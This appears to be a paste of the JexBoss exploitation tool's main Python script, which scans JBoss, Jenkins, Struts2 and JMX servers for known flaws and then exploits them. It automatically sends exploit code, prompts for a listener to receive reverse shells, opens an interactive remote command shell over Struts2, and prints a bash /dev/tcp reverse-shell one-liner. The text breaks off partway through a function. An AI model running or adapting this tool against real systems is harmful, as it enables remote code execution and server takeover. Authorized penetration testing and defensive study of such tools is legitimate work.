Untitled

Python Detected Guest 6 Views Size: 58.43 KB Posted on: Apr 30, 26 @ 9:19 AM
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. """
  4. JexBoss: Jboss verify and EXploitation Tool
  5. https://github.com/joaomatosf/jexboss
  6.  
  7. Copyright 2013 João Filho Matos Figueiredo
  8.  
  9. Licensed under the Apache License, Version 2.0 (the "License");
  10. you may not use this file except in compliance with the License.
  11. You may obtain a copy of the License at
  12.  
  13.    http://www.apache.org/licenses/LICENSE-2.0
  14.  
  15. Unless required by applicable law or agreed to in writing, software
  16. distributed under the License is distributed on an "AS IS" BASIS,
  17. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. See the License for the specific language governing permissions and
  19. limitations under the License.
  20. """
  21. import textwrap
  22. import traceback
  23. import logging
  24. import datetime
  25. import signal
  26. import _exploits
  27. import _updates
  28. from os import name, system
  29. import os, sys
  30. import shutil
  31. from zipfile import ZipFile
  32. from time import sleep
  33. from random import randint
  34. import argparse, socket
  35. from sys import argv, exit, version_info
  36. logging.captureWarnings(True)
  37. FORMAT = "%(asctime)s (%(levelname)s): %(message)s"
  38. logging.basicConfig(filename='jexboss_'+str(datetime.datetime.today().date())+'.log', format=FORMAT, level=logging.INFO)
  39.  
  40. __author__ = "João Filho Matos Figueiredo <joaomatosf@gmail.com>"
  41. __version__ = "1.2.4"
  42.  
  43. RED = '\x1b[91m'
  44. RED1 = '\033[31m'
  45. BLUE = '\033[94m'
  46. GREEN = '\033[32m'
  47. BOLD = '\033[1m'
  48. NORMAL = '\033[0m'
  49. ENDC = '\033[0m'
  50.  
  51.  
  52. def print_and_flush(message, same_line=False):
  53.     if same_line:
  54.         print (message),
  55.     else:
  56.         print (message)
  57.     if not sys.stdout.isatty():
  58.         sys.stdout.flush()
  59.  
  60.  
  61. if version_info[0] == 2 and version_info[1] < 7:
  62.     print_and_flush(RED1 + BOLD + "\n * You are using the Python version 2.6. The JexBoss requires version >= 2.7.\n"
  63.                         "" + GREEN + "   Please install the Python version >= 2.7. \n\n"
  64.                                      "   Example for CentOS using Software Collections scl:\n"
  65.                                      "   # yum -y install centos-release-scl\n"
  66.                                      "   # yum -y install python27\n"
  67.                                      "   # scl enable python27 bash\n" + ENDC)
  68.     logging.CRITICAL('Python version 2.6 is not supported.')
  69.     exit(0)
  70.  
  71. try:
  72.     import readline
  73.     readline.parse_and_bind('set editing-mode vi')
  74. except:
  75.     logging.warning('Module readline not installed. The terminal will not support the arrow keys.', exc_info=traceback)
  76.     print_and_flush(RED1 + "\n * Module readline not installed. The terminal will not support the arrow keys.\n" + ENDC)
  77.  
  78.  
  79. try:
  80.     from urllib.parse import urlencode
  81. except ImportError:
  82.     from urllib import urlencode
  83.  
  84. try:
  85.     from urllib3.util import parse_url
  86.     from urllib3 import PoolManager
  87.     from urllib3 import ProxyManager
  88.     from urllib3 import make_headers
  89.     from urllib3.util import Timeout
  90. except ImportError:
  91.     print_and_flush(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n"
  92.                         "" + GREEN + "   Example: \n"
  93.                                      "   # pip install -r requires.txt\n" + ENDC)
  94.     logging.critical('Module urllib3 not installed. See details:', exc_info=traceback)
  95.     exit(0)
  96.  
  97. try:
  98.     import ipaddress
  99. except:
  100.     print_and_flush(RED1 + BOLD + "\n * Package ipaddress not installed. Please install the dependencies before continue.\n"
  101.                         "" + GREEN + "   Example: \n"
  102.                                      "   # pip install -r requires.txt\n" + ENDC)
  103.     logging.critical('Module ipaddress not installed. See details:', exc_info=traceback)
  104.     exit(0)
  105.  
  106. global gl_interrupted
  107. gl_interrupted = False
  108. global gl_args
  109. global gl_http_pool
  110.  
  111.  
  112. def get_random_user_agent():
  113.     user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0",
  114.                    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
  115.                    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
  116.                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
  117.                    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36",
  118.                    "Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0",
  119.                    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  120.                    "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  121.                    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  122.                    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
  123.                    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36",
  124.                    "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17",
  125.                    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  126.                    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"]
  127.     return user_agents[randint(0, len(user_agents) - 1)]
  128.  
  129.  
  130. def is_proxy_ok():
  131.     print_and_flush(GREEN + "\n ** Checking proxy: %s **\n\n" % gl_args.proxy)
  132.  
  133.     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  134.                "Connection": "keep-alive",
  135.                "User-Agent": get_random_user_agent()}
  136.     try:
  137.         r = gl_http_pool.request('GET', gl_args.host, redirect=False, headers=headers)
  138.     except:
  139.         print_and_flush(RED + " * Error: Failed to connect to %s using proxy %s.\n"
  140.                               "   See logs for more details...\n" %(gl_args.host,gl_args.proxy) + ENDC)
  141.         logging.warning("Failed to connect to %s using proxy" %gl_args.host, exc_info=traceback)
  142.         return False
  143.  
  144.     if r.status == 407:
  145.         print_and_flush(RED + " * Error 407: Proxy authentication is required. \n"
  146.                                       "   Please enter the correct login and password for authentication. \n"
  147.                                       "   Example: -P http://proxy.com:3128 -L username:password\n" + ENDC)
  148.         logging.error("Proxy authentication failed")
  149.         return False
  150.  
  151.     elif r.status == 503 or r.status == 502:
  152.         print_and_flush(RED + " * Error %s: The service %s is not availabel to your proxy. \n"
  153.                               "   See logs for more details...\n" %(r.status,gl_args.host)+ENDC)
  154.         logging.error("Service unavailable to your proxy")
  155.         return False
  156.     else:
  157.         return True
  158.  
  159.  
  160. def configure_http_pool():
  161.  
  162.     global gl_http_pool
  163.  
  164.     if gl_args.mode == 'auto-scan' or gl_args.mode == 'file-scan':
  165.         timeout = Timeout(connect=1.0, read=3.0)
  166.     else:
  167.         timeout = Timeout(connect=gl_args.timeout, read=6.0)
  168.  
  169.     if gl_args.proxy:
  170.         # when using proxy, protocol should be informed
  171.         if (gl_args.host is not None and 'http' not in gl_args.host) or 'http' not in gl_args.proxy:
  172.             print_and_flush(RED + " * When using proxy, you must specify the http or https protocol"
  173.                                   " (eg. http://%s).\n\n" %(gl_args.host if 'http' not in gl_args.host else gl_args.proxy) +ENDC)
  174.             logging.critical('Protocol not specified')
  175.             exit(1)
  176.  
  177.         try:
  178.             if gl_args.proxy_cred:
  179.                 headers = make_headers(proxy_basic_auth=gl_args.proxy_cred)
  180.                 gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, proxy_headers=headers, timeout=timeout, cert_reqs='CERT_NONE')
  181.             else:
  182.                 gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, timeout=timeout, cert_reqs='CERT_NONE')
  183.         except:
  184.             print_and_flush(RED + " * An error occurred while setting the proxy. Please see log for details..\n\n" +ENDC)
  185.             logging.critical('Error while setting the proxy', exc_info=traceback)
  186.             exit(1)
  187.     else:
  188.         gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
  189.  
  190.  
  191. def handler_interrupt(signum, frame):
  192.     global gl_interrupted
  193.     gl_interrupted = True
  194.     print_and_flush ("Interrupting execution ...")
  195.     logging.info("Interrupting execution ...")
  196.     exit(1)
  197.  
  198. signal.signal(signal.SIGINT, handler_interrupt)
  199.  
  200.  
  201. def check_connectivity(host, port):
  202.     try:
  203.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  204.         s.settimeout(2)
  205.         s.connect((str(host), int(port)))
  206.         s.close()
  207.     except socket.timeout:
  208.         logging.info("Failed to connect to %s:%s" %(host,port))
  209.         return False
  210.     except:
  211.         logging.info("Failed to connect to %s:%s" % (host, port))
  212.         return False
  213.  
  214.     return True
  215.  
  216.  
  217. def check_vul(url):
  218.     """
  219.    Test if a GET to a URL is successful
  220.    :param url: The URL to test
  221.    :return: A dict with the exploit type as the keys, and the HTTP status code as the value
  222.    """
  223.     url_check = parse_url(url)
  224.     if '443' in str(url_check.port) and url_check.scheme != 'https':
  225.         url = "https://"+str(url_check.host)+":"+str(url_check.port)+str(url_check.path)
  226.  
  227.     print_and_flush(GREEN + "\n ** Checking Host: %s **\n" % url)
  228.     logging.info("Checking Host: %s" % url)
  229.  
  230.     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  231.                "Connection": "keep-alive",
  232.                "User-Agent": get_random_user_agent()}
  233.  
  234.     paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
  235.              "web-console": "/web-console/Invoker",
  236.              "JMXInvokerServlet": "/invoker/JMXInvokerServlet",
  237.              "admin-console": "/admin-console/",
  238.              "Application Deserialization": "",
  239.              "Servlet Deserialization" : "",
  240.              "Jenkins": "",
  241.              "Struts2": "",
  242.              "JMX Tomcat" : ""}
  243.  
  244.     fatal_error = False
  245.  
  246.     for vector in paths:
  247.         r = None
  248.         if gl_interrupted: break
  249.         try:
  250.  
  251.             # check jmx tomcat only if specifically chosen
  252.             if (gl_args.jmxtomcat and vector != 'JMX Tomcat') or\
  253.                     (not gl_args.jmxtomcat and vector == 'JMX Tomcat'): continue
  254.  
  255.             if gl_args.app_unserialize and vector != 'Application Deserialization': continue
  256.  
  257.             if gl_args.struts2 and vector != 'Struts2': continue
  258.  
  259.             if gl_args.servlet_unserialize and vector != 'Servlet Deserialization': continue
  260.  
  261.             if gl_args.jboss and vector not in ('jmx-console', 'web-console', 'JMXInvokerServlet', 'admin-console'): continue
  262.  
  263.             if gl_args.jenkins and vector != 'Jenkins': continue
  264.  
  265.             if gl_args.force:
  266.                 paths[vector] = 200
  267.                 continue
  268.  
  269.             print_and_flush(GREEN + " [*] Checking %s: %s" % (vector, " " * (27 - len(vector))) + ENDC, same_line=True)
  270.  
  271.             # check jenkins
  272.             if vector == 'Jenkins':
  273.  
  274.                 cli_port = None
  275.                 # check version and search for CLI-Port
  276.                 r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
  277.                 all_headers = r.getheaders()
  278.  
  279.                 # versions > 658 are not vulnerable
  280.                 if 'X-Jenkins' in all_headers:
  281.                     version = int(all_headers['X-Jenkins'].split('.')[1].split('.')[0])
  282.                     if version >= 638:
  283.                         paths[vector] = 505
  284.                         continue
  285.  
  286.                 for h in all_headers:
  287.                     if 'CLI-Port' in h:
  288.                         cli_port = int(all_headers[h])
  289.                         break
  290.  
  291.                 if cli_port is not None:
  292.                     paths[vector] = 200
  293.                 else:
  294.                     paths[vector] = 505
  295.  
  296.             # chek vul for Java Unserializable in Application Parameters
  297.             elif vector == 'Application Deserialization':
  298.  
  299.                 r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
  300.                 if r.status in (301, 302, 303, 307, 308):
  301.                     cookie = r.getheader('set-cookie')
  302.                     if cookie is not None: headers['Cookie'] = cookie
  303.                     r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
  304.                 # link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
  305.                 obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
  306.  
  307.                 # if no obj serialized, check if there's a html refresh redirect and follow it
  308.                 if obj is None:
  309.                     # check if theres a redirect link
  310.                     link = _exploits.get_html_redirect_link(str(r.data))
  311.  
  312.                     # If it is a redirect link. Follow it
  313.                     if link is not None:
  314.                         r = gl_http_pool.request('GET', url + "/" + link, redirect=True, headers=headers)
  315.                         #link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
  316.                         obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
  317.  
  318.                 # if obj does yet None
  319.                 if obj is None:
  320.                     # search for other params that can be exploited
  321.                     list_params = _exploits.get_list_params_with_serialized_objs(str(r.data))
  322.                     if len(list_params) > 0:
  323.                         paths[vector] = 110
  324.                         print_and_flush(RED + "  [ CHECK OTHER PARAMETERS ]" + ENDC)
  325.                         print_and_flush(RED + "\n * The \"%s\" parameter does not appear to be vulnerable.\n" %gl_args.post_parameter +
  326.                                                 "   But there are other parameters that it seems to be xD!\n" +ENDC+GREEN+
  327.                                           BOLD+ "\n   Try these other parameters: \n" +ENDC)
  328.                         for p in list_params:
  329.                             print_and_flush(GREEN +  "      -H %s" %p+ ENDC)
  330.                         print ("")
  331.                 elif obj is not None and obj == 'stateless':
  332.                     paths[vector] = 100
  333.                 elif obj is not None:
  334.                     paths[vector] = 200
  335.  
  336.             # chek vul for Java Unserializable in viewState
  337.             elif vector == 'Servlet Deserialization':
  338.  
  339.                 r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
  340.                 if r.status in (301, 302, 303, 307, 308):
  341.                     cookie = r.getheader('set-cookie')
  342.                     if cookie is not None: headers['Cookie'] = cookie
  343.                     r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
  344.  
  345.                 if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
  346.                     paths[vector] = 200
  347.                 else:
  348.                     paths[vector] = 505
  349.  
  350.             elif vector == 'Struts2':
  351.  
  352.                 result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss', gl_args.cookies)
  353.                 if result is None or "Could not get command" in str(result) :
  354.                     paths[vector] = 100
  355.                 elif 'jexboss' in str(result) and "<html>" not in str(result).lower():
  356.                     paths[vector] = 200
  357.                 else:
  358.                     paths[vector] = 505
  359.  
  360.             elif vector == 'JMX Tomcat':
  361.  
  362.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  363.                 s.settimeout(7)
  364.                 host_rmi = url.split(':')[0]
  365.                 port_rmi = int(url.split(':')[1])
  366.                 s.connect((host_rmi, port_rmi))
  367.                 s.send(b"JRMI\x00\x02K")
  368.                 msg = s.recv(1024)
  369.                 octets = str(msg[3:]).split(".")
  370.                 if len(octets) != 4:
  371.                     paths[vector] = 505
  372.                 else:
  373.                     paths[vector] = 200
  374.  
  375.             # check jboss vectors
  376.             elif vector == "JMXInvokerServlet":
  377.                 # user privided web-console path and checking JMXInvoker...
  378.                 if "/web-console/Invoker" in url:
  379.                     paths[vector] = 505
  380.                 # if the user not provided the path, append the "/invoker/JMXInvokerServlet"
  381.                 else:
  382.  
  383.                     if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector])+"/"):
  384.                         url_to_check = url + str(paths[vector])
  385.                     else:
  386.                         url_to_check = url
  387.  
  388.                     r = gl_http_pool.request('HEAD', url_to_check , redirect=False, headers=headers)
  389.                     # if head method is not allowed/supported, try GET
  390.                     if r.status in (405, 406):
  391.                         r = gl_http_pool.request('GET', url_to_check , redirect=False, headers=headers)
  392.  
  393.                     # if web-console/Invoker or invoker/JMXInvokerServlet
  394.                     if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
  395.                         paths[vector] = 200
  396.                     else:
  397.                         paths[vector] = 505
  398.  
  399.             elif vector == "web-console":
  400.                 # user privided JMXInvoker path and checking web-console...
  401.                 if "/invoker/JMXInvokerServlet" in url:
  402.                     paths[vector] = 505
  403.                 # if the user not provided the path, append the "/web-console/..."
  404.                 else:
  405.  
  406.                     if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector]) + "/"):
  407.                         url_to_check = url + str(paths[vector])
  408.                     else:
  409.                         url_to_check = url
  410.  
  411.                     r = gl_http_pool.request('HEAD', url_to_check, redirect=False, headers=headers)
  412.                     # if head method is not allowed/supported, try GET
  413.                     if r.status in (405, 406):
  414.                         r = gl_http_pool.request('GET', url_to_check, redirect=False, headers=headers)
  415.  
  416.                     # if web-console/Invoker or invoker/JMXInvokerServlet
  417.                     if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
  418.                         paths[vector] = 200
  419.                     else:
  420.                         paths[vector] = 505
  421.  
  422.             # other jboss vector
  423.             else:
  424.                 r = gl_http_pool.request('HEAD', url + str(paths[vector]), redirect=False, headers=headers)
  425.                 # if head method is not allowed/supported, try GET
  426.                 if r.status in (405, 406):
  427.                     r = gl_http_pool.request('GET', url + str(paths[vector]), redirect=False, headers=headers)
  428.                 # check if the server respond with 200/500 for all requests
  429.                 if r.status in (200, 500):
  430.                     r = gl_http_pool.request('GET', url + str(paths[vector])+ '/github.com/joaomatosf/jexboss', redirect=False,headers=headers)
  431.  
  432.                     if r.status == 200:
  433.                         r.status = 505
  434.                     else:
  435.                         r.status = 200
  436.  
  437.                 paths[vector] = r.status
  438.  
  439.             # ----------------
  440.             # Analysis of the results
  441.             # ----------------
  442.             # check if the proxy do not support running in the same port of the target
  443.             if r is not None and r.status == 400 and gl_args.proxy:
  444.                 if parse_url(gl_args.proxy).port == url_check.port:
  445.                     print_and_flush(RED + "[ ERROR ]\n * An error occurred because the proxy server is running on the "
  446.                                        "same port as the server port (port %s).\n"
  447.                                        "   Please use a different port in the proxy.\n" % url_check.port + ENDC)
  448.                     logging.critical("Proxy returns 400 Bad Request because is running in the same port as the server")
  449.                     fatal_error = True
  450.                     break
  451.  
  452.             # check if it's false positive
  453.             if r is not None and len(r.getheaders()) == 0:
  454.                 print_and_flush(RED + "[ ERROR ]\n * The server %s is not an HTTP server.\n" % url + ENDC)
  455.                 logging.error("The server %s is not an HTTP server." % url)
  456.                 for key in paths: paths[key] = 505
  457.                 break
  458.  
  459.             if paths[vector] in (301, 302, 303, 307, 308):
  460.                 url_redirect = r.get_redirect_location()
  461.                 print_and_flush(GREEN + "  [ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect)
  462.             elif paths[vector] == 200 or paths[vector] == 500:
  463.                 if vector == "admin-console":
  464.                     print_and_flush(RED + "  [ EXPOSED ]" + ENDC)
  465.                     logging.info("Server %s: EXPOSED" %url)
  466.                 elif vector == "Jenkins":
  467.                     print_and_flush(RED + "  [ POSSIBLE VULNERABLE ]" + ENDC)
  468.                     logging.info("Server %s: RUNNING JENKINS" %url)
  469.                 elif vector == "JMX Tomcat":
  470.                     print_and_flush(RED + "  [ MAYBE VULNERABLE ]" + ENDC)
  471.                     logging.info("Server %s: RUNNING JENKINS" %url)
  472.                 else:
  473.                     print_and_flush(RED + "  [ VULNERABLE ]" + ENDC)
  474.                     logging.info("Server %s: VULNERABLE" % url)
  475.             elif paths[vector] == 100:
  476.                 paths[vector] = 200
  477.                 print_and_flush(RED + "  [ INCONCLUSIVE - NEED TO CHECK ]" + ENDC)
  478.                 logging.info("Server %s: INCONCLUSIVE - NEED TO CHECK" % url)
  479.             elif paths[vector] == 110:
  480.                 logging.info("Server %s: CHECK OTHERS PARAMETERS" % url)
  481.             else:
  482.                 print_and_flush(GREEN + "  [ OK ]")
  483.         except Exception as err:
  484.             print_and_flush(RED + "\n * An error occurred while connecting to the host %s (%s)\n" % (url, err) + ENDC)
  485.             logging.info("An error occurred while connecting to the host %s" % url, exc_info=traceback)
  486.             paths[vector] = 505
  487.  
  488.     if fatal_error:
  489.         exit(1)
  490.     else:
  491.         return paths
  492.  
  493.  
  494. def auto_exploit(url, exploit_type):
  495.     """
  496.    Automatically exploit a URL
  497.    :param url: The URL to exploit
  498.    :param exploit_type: One of the following
  499.    exploitJmxConsoleFileRepository: tested and working in JBoss 4 and 5
  500.     exploitJmxConsoleMainDeploy:         tested and working in JBoss 4 and 6
  501.     exploitWebConsoleInvoker:            tested and working in JBoss 4
  502.    exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5
  503.    exploitAdminConsole: tested and working in JBoss 5 and 6 (with default password)
  504.    """
  505.     if exploit_type in ("Application Deserialization", "Servlet Deserialization"):
  506.         print_and_flush(GREEN + "\n * Preparing to send exploit to %s. Please wait...\n" % url)
  507.     else:
  508.         print_and_flush(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url)
  509.  
  510.     result = 505
  511.     if exploit_type == "jmx-console":
  512.  
  513.         result = _exploits.exploit_jmx_console_file_repository(url)
  514.         if result != 200 and result != 500:
  515.             result = _exploits.exploit_jmx_console_main_deploy(url)
  516.  
  517.     elif exploit_type == "web-console":
  518.  
  519.         # if the user not provided the path
  520.         if url.endswith("/web-console/Invoker") or url.endswith("/web-console/Invoker/"):
  521.             url = url.replace("/web-console/Invoker", "")
  522.  
  523.         result = _exploits.exploit_web_console_invoker(url)
  524.         if result == 404:
  525.             host, port = get_host_port_reverse_params()
  526.             if host == port == gl_args.cmd == None: return False
  527.             result = _exploits.exploit_servlet_deserialization(url + "/web-console/Invoker", host=host, port=port,
  528.                                                                cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
  529.                                                                gadget_file=gl_args.load_gadget)
  530.     elif exploit_type == "JMXInvokerServlet":
  531.  
  532.         # if the user not provided the path
  533.         if url.endswith("/invoker/JMXInvokerServlet") or url.endswith("/invoker/JMXInvokerServlet/"):
  534.             url = url.replace("/invoker/JMXInvokerServlet", "")
  535.  
  536.         result = _exploits.exploit_jmx_invoker_file_repository(url, 0)
  537.         if result != 200 and result != 500:
  538.             result = _exploits.exploit_jmx_invoker_file_repository(url, 1)
  539.         if result == 404:
  540.             host, port = get_host_port_reverse_params()
  541.             if host == port == gl_args.cmd == None: return False
  542.             result = _exploits.exploit_servlet_deserialization(url + "/invoker/JMXInvokerServlet", host=host, port=port,
  543.                                                                cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
  544.                                                                gadget_file=gl_args.load_gadget)
  545.  
  546.     elif exploit_type == "admin-console":
  547.  
  548.         result = _exploits.exploit_admin_console(url, gl_args.jboss_login)
  549.  
  550.     elif exploit_type == "Jenkins":
  551.  
  552.         host, port = get_host_port_reverse_params()
  553.         if host == port == gl_args.cmd == None: return False
  554.         result = _exploits.exploit_jenkins(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
  555.                                                    gadget=gl_args.gadget, show_payload=gl_args.show_payload)
  556.     elif exploit_type == "JMX Tomcat":
  557.  
  558.         host, port = get_host_port_reverse_params()
  559.         if host == port == gl_args.cmd == None: return False
  560.         result = _exploits.exploit_jrmi(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows)
  561.  
  562.     elif exploit_type == "Application Deserialization":
  563.  
  564.         host, port = get_host_port_reverse_params()
  565.  
  566.         if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
  567.  
  568.         result = _exploits.exploit_application_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
  569.                                                                param=gl_args.post_parameter, force=gl_args.force,
  570.                                                                gadget_type=gl_args.gadget, show_payload=gl_args.show_payload,
  571.                                                                gadget_file=gl_args.load_gadget)
  572.  
  573.     elif exploit_type == "Servlet Deserialization":
  574.  
  575.         host, port = get_host_port_reverse_params()
  576.  
  577.         if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
  578.  
  579.         result = _exploits.exploit_servlet_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
  580.                                                                gadget=gl_args.gadget, gadget_file=gl_args.load_gadget)
  581.  
  582.     elif exploit_type == "Struts2":
  583.  
  584.         result = 200
  585.  
  586.     # if it seems to be exploited (201 is for jboss exploited with gadget)
  587.     if result == 200 or result == 500 or result == 201:
  588.  
  589.         # if not auto_exploit, ask type enter to continue...
  590.         if not gl_args.auto_exploit:
  591.  
  592.             if exploit_type in ("Application Deserialization", "Jenkins", "JMX Tomcat", "Servlet Deserialization") or result == 201:
  593.                 print_and_flush(BLUE + " * The exploit code was successfully sent. Check if you received the reverse shell\n"
  594.                                        "   connection on your server or if your command was executed. \n"+ ENDC+
  595.                                        "   Type [ENTER] to continue...\n")
  596.                 # wait while enter is typed
  597.                 input().lower() if version_info[0] >= 3 else raw_input().lower()
  598.                 return True
  599.             else:
  600.                 if exploit_type == 'Struts2':
  601.                     shell_http_struts(url)
  602.                 else:
  603.                     print_and_flush(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC)
  604.                     shell_http(url, exploit_type)
  605.  
  606.         # if auto exploit mode, print message and continue...
  607.         else:
  608.             print_and_flush(GREEN + " * Successfully deployed/sended code via vector %s\n *** Run JexBoss in Standalone mode "
  609.                                     "to open command shell. ***" %(exploit_type) + ENDC)
  610.             return True
  611.  
  612.     # if not exploited, print error messagem and ask for type enter
  613.     else:
  614.         if exploit_type == 'admin-console':
  615.             print_and_flush(GREEN + "\n * You can still try to exploit deserialization vulnerabilitie in ViewState!\n" +
  616.                      "   Try this: python jexboss.py -u %s/admin-console/login.seam --app-unserialize\n" %url +
  617.                      "   Type [ENTER] to continue...\n" + ENDC)
  618.  
  619.         else:
  620.             print_and_flush(RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" +
  621.                                 "   Type [ENTER] to continue...\n" + ENDC)
  622.         logging.error("Could not exploit the server %s automatically. HTTP Code: %s" %(url, result))
  623.         # wait while enter is typed
  624.         input().lower() if version_info[0] >= 3 else raw_input().lower()
  625.         return False
  626.  
  627.  
  628. def ask_for_reverse_host_and_port():
  629.     print_and_flush(GREEN + " * Please enter the IP address and tcp PORT of your listening server for try to get a REVERSE SHELL.\n"
  630.                             "   OBS: You can also use the --cmd \"command\" to send specific commands to run on the server."+NORMAL)
  631.  
  632.     # If not *nix (that is, if somethine like git bash on Rwindow$)
  633.     if not sys.stdout.isatty():
  634.         print_and_flush("   IP Address (RHOST): ", same_line=True)
  635.         host = input().lower() if version_info[0] >= 3 else raw_input().lower()
  636.         print_and_flush("   Port (RPORT): ", same_line=True)
  637.         port = input().lower() if version_info[0] >= 3 else raw_input().lower()
  638.     else:
  639.         host = input("   IP Address (RHOST): ").lower() if version_info[0] >= 3 else raw_input("   IP Address (RHOST): ").lower()
  640.         port = input("   Port (RPORT): ").lower() if version_info[0] >= 3 else raw_input("   Port (RPORT): ").lower()
  641.  
  642.     print ("")
  643.     return str(host), str(port)
  644.  
  645.  
  646. def get_host_port_reverse_params():
  647.     # if reverse host were provided in the args, take it
  648.     if gl_args.reverse_host:
  649.  
  650.         if gl_args.windows:
  651.             jexboss.print_and_flush(RED + "\n * WINDOWS Systems still do not support reverse shell.\n"
  652.                                           "   Use option --cmd instead of --reverse-shell...\n" + ENDC +
  653.                                     "   Type [ENTER] to continue...\n")
  654.             # wait while enter is typed
  655.             input().lower() if version_info[0] >= 3 else raw_input().lower()
  656.             return None, None
  657.  
  658.         tokens = gl_args.reverse_host.split(":")
  659.         if len(tokens) != 2:
  660.             host, port = ask_for_reverse_host_and_port()
  661.         else:
  662.             host = tokens[0]
  663.             port = tokens[1]
  664.     # if neither cmd nor reverse nor load_gadget was provided, ask host and port
  665.     elif gl_args.cmd is None and gl_args.load_gadget is None:
  666.         host, port = ask_for_reverse_host_and_port()
  667.     else:
  668.         # if cmd or gadget file ware privided
  669.         host, port = None, None
  670.  
  671.     return host, port
  672.  
  673.  
  674. def shell_http_struts(url):
  675.     """
  676.    Connect to an HTTP shell
  677.    :param url: struts app url
  678.    :param shell_type: The type of shell to connect to
  679.    """
  680.     print_and_flush("# ----------------------------------------- #\n")
  681.     print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type sometime like: \n\n"
  682.                     "\n" +ENDC+
  683.                     "     Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
  684.                     "   \n"+GREEN+
  685.                     "   And so on... =]\n" +ENDC
  686.                     )
  687.     print_and_flush("# ----------------------------------------- #\n")
  688.  
  689.     resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami', gl_args.cookies)
  690.  
  691.     print_and_flush(resp.replace('\\n', '\n'), same_line=True)
  692.     logging.info("Server %s exploited!" %url)
  693.  
  694.     while 1:
  695.         print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
  696.  
  697.         if not sys.stdout.isatty():
  698.             print_and_flush("Shell> ", same_line=True)
  699.             cmd = input() if version_info[0] >= 3 else raw_input()
  700.         else:
  701.             cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
  702.  
  703.         if cmd == "exit":
  704.             break
  705.  
  706.         resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd, gl_args.cookies)
  707.         print_and_flush(resp.replace('\\n', '\n'))
  708.  
  709.  
  710. # FIX: capture the readtimeout   File "jexboss.py", line 333, in shell_http
  711. def shell_http(url, shell_type):
  712.     """
  713.    Connect to an HTTP shell
  714.    :param url: The URL to connect to
  715.    :param shell_type: The type of shell to connect to
  716.    """
  717.     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
